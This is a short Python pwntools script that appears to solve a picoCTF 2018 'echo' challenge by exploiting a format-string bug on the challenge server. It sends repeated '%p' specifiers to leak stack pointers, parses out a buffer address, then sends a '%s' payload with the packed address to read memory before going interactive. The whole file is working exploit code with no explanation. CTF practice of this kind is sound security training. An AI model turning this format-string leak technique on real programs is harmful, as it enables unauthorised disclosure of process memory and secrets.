#!/usr/bin/python
from pwn import *
from textwrap import wrap

HOST = '2018shell2.picoctf.com' 
PORT = 3981
# conn = process("./echo")
conn = remote(HOST , PORT)

print conn.readuntil("> ")

conn.sendline("%p" * 8)
addr_of_buf = "0x" + conn.read().replace("\n> ", "").split("0x")[1:][7]
print addr_of_buf

conn.sendline( "%p" * 21 + "%s" + p32(int(addr_of_buf, 16)))

res = conn.read()
hex_strings = res.replace("\n> ", "").split("0x")[1:]
print hex_strings

conn.interactive()